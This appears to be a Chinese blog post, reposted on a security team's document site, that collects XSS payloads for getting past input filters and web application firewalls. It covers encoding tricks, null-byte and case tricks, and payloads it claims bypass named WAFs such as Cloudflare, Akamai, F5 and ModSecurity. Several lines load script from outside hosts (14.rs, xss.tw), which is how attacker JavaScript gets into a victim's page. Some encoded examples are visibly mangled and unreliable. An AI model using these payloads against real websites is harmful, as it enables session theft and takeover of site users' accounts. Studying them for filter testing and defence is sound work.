[18696] 2019-05-30_聊聊XSS漏洞(二)

文档创建者:s7ckTeam
浏览次数:13
最后更新:2025-01-18
聊聊XSS漏洞(二)

聊聊XSS漏洞(二)

crhua huasec 2019-05-30

接上一篇,聊聊常规bypass方法




01


双url编码

% url编码成 %25 ,如果后台对参数有再次进行url decode  或者输出的时候有 url decode 就可以绕过WAF。


02


base64编码


WAF不拦截 <> ,但拦截 script  onXXXX  ,  用base64 绕过。

如:

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+">


03


HTML实体编码绕过


实体编码一开始是为了避免譬如在你的双引号中要输入数据中包括双引号导致浏览器把你输入的引号当作上一个引号的姐妹标签而异常闭合而提出的。

payload:

<a href='javascript:alert&#40;&#39;123&#39;&#41;'>hello</a><a href="j&#97;vascript:alert&#0000040;'123'&#41;">hello</a>

tip:

(1)其实在标签里的伪协议js 代码是可以不用用双引号引起来的。

加上eval函数后(eval认识  x十六进制  八进制  u unicode编码)

<a href="j&#97;vascript:eval('&#;u0091x65x72x74x28x22x31x22x29')">hello</a>

(2)如果页面直接显示输入内容,可以先html 编码 再url 编码。

<svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>


04


不带http 的payload


<script/src=ttps://14.rs ></script><script/src=ttp://14.rs ></script><script/src=//14.rs></script>

05


过滤 /script


<%2fscript><%252fscript><%252fScRipt><%252fScrIPt%20><%252fsCrIpt+ipT%20>


06


利用javascript 大小写绕过限制


if (!String.fromCodePoint) {  (function() {    var defineProperty = (function() {      // IE 8 only supports `Object.defineProperty` on DOM elements      try {        var object = {};        var $defineProperty = Object.defineProperty;        var result = $defineProperty(object, object, object) && $defineProperty;       } catch(error) {}      return result;    }());    var stringFromCharCode = String.fromCharCode;    var floor = Math.floor;    var fromCodePoint = function() {      var MAX_SIZE = 0x4000;      var codeUnits = [];      var highSurrogate;      var lowSurrogate;      var index = -1;      var length = arguments.length;      if (!length) {        return '';      }      var result = '';      while (++index < length) {        var codePoint = Number(arguments[index]);        if (          !isFinite(codePoint) || // `NaN`, `+Infinity`, or `-Infinity`          codePoint < 0 || // not a valid Unicode code point          codePoint > 0x10FFFF || // not a valid Unicode code point          floor(codePoint) != codePoint // not an integer        ) {          throw RangeError('Invalid code point: ' + codePoint);        }        if (codePoint <= 0xFFFF) { // BMP code point          codeUnits.push(codePoint);        } else { // Astral code point; split in surrogate halves          // http://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae           codePoint -= 0x10000;          highSurrogate = (codePoint >> 10) + 0xD800;          lowSurrogate = (codePoint % 0x400) + 0xDC00;          codeUnits.push(highSurrogate, lowSurrogate);        }        if (index + 1 == length || codeUnits.length > MAX_SIZE) {          result += stringFromCharCode.apply(null, codeUnits);          codeUnits.length = 0;        }      }      return result;    };    if (defineProperty) {      defineProperty(String, 'fromCodePoint', {        'value': fromCodePoint,        'configurable': true,        'writable': true      });    } else {      String.fromCodePoint = fromCodePoint;    }  }());}for (var j = 'A'.charCodeAt(); j <= 'Z'.charCodeAt(); j++){  var s = String.fromCodePoint(j);  for (var i = 0; i < 0x10FFFF; i++) {    var e = String.fromCodePoint(i);    if (s == e.toUpperCase() && s != e) {      document.write("char: "+e+"<br/>");  };};}
运行后:
char: achar: bchar: cchar: dchar: echar: fchar: gchar: hchar: ichar: ?char: jchar: kchar: lchar: mchar: nchar: ochar: pchar: qchar: rchar: schar: ?char: tchar: uchar: vchar: wchar: xchar: ychar: z

其中混入了两个奇特的字符"?"、"?"。这两个字符的“大写”是I和S。也就是说"?".toUpperCase() == 'I',"?".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。


07


过滤括号


当括号被过滤的时候可以使用throw来绕过

<a onmouseover="javascript:window.onerror=alert;throw 1><img src=x onerror="javascript:window.onerror=alert;throw 1">


08


利用0字节绕过

<scri%00pt>alert(1);</scri%00pt><scrix00pt>alert(1);</scri%00pt><s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>


09


利用ascii编码绕过


利用其它ascii码绕过,正则表达式中w是无法匹配到的
<img/ /μ src=x onerror=alert(1)//>
<img src=x17x17 onerror=alert(1)//>
<img/\%20src=%17y%17 onerror=%C2%A0alert(1)//>


10


先拆分再组合


<script>var a=’h';var b=’://’;document.write(‘<script src=”‘+a+’ttp’+b+’xss.tw/xxx”></script>’);</script>



11


过滤括号和分号


第一种方法非常简单:你可以使用花括号来进行语句隔离,将onerror整体放入花括号中。这样就避免了使用分号:

<script>{onerror=alert}throw 1337</script>


12


常见的waf bypass


WAF名称:CloudflarePayload:<a”/onclick=(confirm)()>click绕过技术:非空格填充WAF名称:WordfencePayload:<a/href=javascript&colon;alert()>click绕过技术:数字字符编码WAF名称:BarracudaPayload:<a/href=&#74;ava%0a%0d%09script&colon;alert()>click绕过技术:数字字符编码WAF名称:AkamaiPayload:<d3v/onauxclick=[2].some(confirm)>click绕过技术:黑名单中缺少事件处理器以及函数调用混淆WAF名称:ComodoPayload:<d3v/onauxclick=(((confirm)))“>click绕过技术:黑名单中缺少事件处理器以及函数调用混淆WAF名称:F5Payload:<d3v/onmouseleave=[2].some(confirm)>click绕过技术:黑名单中缺少事件处理器以及函数调用混淆WAF名称:ModSecurityPayload:<details/open/ontoggle=alert()>绕过技术:黑名单中缺少标签或事件处理器WAF名称:dotdefenderPayload:<details/open/ontoggle=(confirm)()//


13


总结


一直说理论肯定有些枯燥,明天更新相关案例,未完待续。。。


您需要登录后才可以回帖 登录 | 立即注册

本版积分规则